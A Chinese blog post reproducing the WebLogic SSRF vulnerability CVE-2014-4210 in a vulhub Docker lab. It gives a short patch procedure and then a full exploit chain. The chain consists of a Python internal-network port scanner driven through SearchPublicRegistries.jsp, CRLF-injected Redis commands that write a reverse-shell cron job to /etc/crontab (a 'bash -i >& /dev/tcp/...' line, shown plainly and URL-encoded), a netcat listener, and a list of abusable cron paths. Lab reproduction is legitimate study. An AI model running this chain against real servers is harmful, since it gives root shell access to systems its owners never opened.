0%

weblogic-SSRF(CVE-2014-4210)

最近看了关于SSRF的漏洞,不过都看不大懂,只能找个靶场环境复现一波。之后在慢慢理解吧。

weblogic-SSRF(CVE-2014-4210)漏洞复现

weblogic简介

WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器

漏洞概述:

服务端请求伪造(Server-Side Request Forgery),是一种有攻击者构造形成有服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。

SSRF形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片、文档等等。

SSRF用途:

1.内外网的端口和服务扫描。2.主机本地敏感数据的读取。3.内外网主机应用程序漏洞的利用。4.内外网web站点漏洞的利用

影响版本:

weblogic 10.0.2 – 10.3.6.0

漏洞出现位置与解决方法:

Weblogic服务端请求伪造漏洞出现在uddi组件(所以安装Weblogic时如果没有选择uddi组件那么就不会有该漏洞),

更准确地说是uudi包实现包uddiexplorer.war下的SearchPublicRegistries.jsp

所以修复的直接方法是将SearchPublicRegistries.jsp直接删除就好了

我们这里采用的是改后辍的方式,修复步骤如下:

  1. 将weblogic安装目录下的wlserver_10.3/server/lib/uddiexplorer.war做好备份
  2. 将weblogic安装目录下的server/lib/uddiexplorer.war下载
  3. 用winrar等工具打开uddiexplorer.war
  4. 将其下的SearchPublicRegistries.jsp重命名为SearchPublicRegistries.jspx
  5. 保存后上传回服务端替换原先的uddiexplorer.war
  6. 对于多台主机组成的集群,针对每台主机都要做这样的操作
  7. 由于每个server的tmp目录下都有缓存所以修改后要彻底重启weblogic(即停应用–停server–停控制台–启控制台–启server–启应用)

环境搭建

通过vulnhub/weblogic下载漏洞docker漏洞环境

Weblogic中存在一个SSRF漏洞,利用该漏洞可以发送任意HTTP请求,进而攻击内网中redis、fastcgi等脆弱组件。

编译及启动测试环境

1
docker-compose up -d

默认会指定端口为7001以及6379

6379端口为Redis默认开启的端口

环境开启后,直接访问http://your-ip:7001 即可看到默认的404页面:

img

SSRF漏洞测试

SSRF漏洞存在于

http://your-ip:7001/uddiexplorer/SearchPublicRegistries.jsp

img

点击search,我们在brupsuite下测试该漏洞。访问一个可以访问的IP:PORT,如http://127.0.0.1:7001:

可访问的端口将会得到错误,一般是返回status code(如下图),如果访问的非http协议,则会返回did not have a valid SOAP content-type。

img

修改为一个不存在的端口,将会返回could not connect over HTTP to server。

通过错误的不同,即可探测内网状态。

注入HTTP头,利用Redis反弹shell

Weblogic的SSRF有一个比较大的特点,其虽然是一个“GET”请求,但是我们可以通过传入%0a%0d来注入换行符,而某些服务(如redis)是通过换行符来分隔每条命令,也就说我们可以通过该SSRF攻击内网中的redis服务器。

首先,通过ssrf探测内网中的redis服务器(docker环境的网段一般是172.*)

通过一个python脚本进行检测:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import thread
import time
import re
import requests

def ite_ip(ip):
for i in range(1, 256):
final_ip = '{ip}.{i}'.format(ip=ip, i=i)
print final_ip
thread.start_new_thread(scan, (final_ip,))
time.sleep(3)

def scan(final_ip):
ports = ('21', '22', '23', '53', '80', '135', '139', '443', '445', '1080', '1433', '1521', '3306', '3389', '4899', '8080', '7001', '8000','6389','6379')
for port in ports:
vul_url = 'http://127.0.0.1:7001/uddiexplorer/SearchPublicRegistries.jsp?operator=http://%s:%s&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search' % (final_ip,port)
try:
#print vul_url
r = requests.get(vul_url, timeout=15, verify=False)
result1 = re.findall('weblogic.uddi.client.structures.exception.XML_SoapException',r.content)
result2 = re.findall('but could not connect', r.content)
result3 = re.findall('No route to host', r.content)
if len(result1) != 0 and len(result2) == 0 and len(result3) == 0:
print '[!]'+final_ip + ':' + port
except Exception, e:
pass


if __name__ == '__main__':
ip = "172.20.0"
if ip:
print ip
ite_ip(ip)
else:
print "no ip"

在环境服务器上运行脚本,发现172.20.0.2:6379可以连通:

img

也就是说明内网的一个ip存在6379端口,即redis服务。

我们这里要发送几行代码

发送三条redis命令,将弹shell脚本写入/etc/crontab:

1
2
3
4
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/172.20.0.1/5003 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save

把这三条命令通过get包注入进去,先要将命令用url进行编码

注意,换行符是”\r\n”,也就是”%0D%0A”。

1
test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.20.0.1%2F5003%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa

将url编码后的字符串放在ssrf的域名后面,发送:

img

发现成功写入。

getshell

接着靶机上开启端口监听,nc -lvnp 5003 ,反弹shell。成功。

img

最后补充一下,可进行利用的cron有如下几个地方:

  • /etc/crontab 这个是肯定的
  • /etc/cron.d/* 将任意文件写到该目录下,效果和crontab相同,格式也要和/etc/crontab相同。漏洞利用这个目录,可以做到不覆盖任何其他文件的情况进行弹shell。
  • /var/spool/cron/root centos系统下root用户的cron文件
  • /var/spool/cron/crontabs/root debian系统下root用户的cron文件
----------------本文结束感谢阅读----------------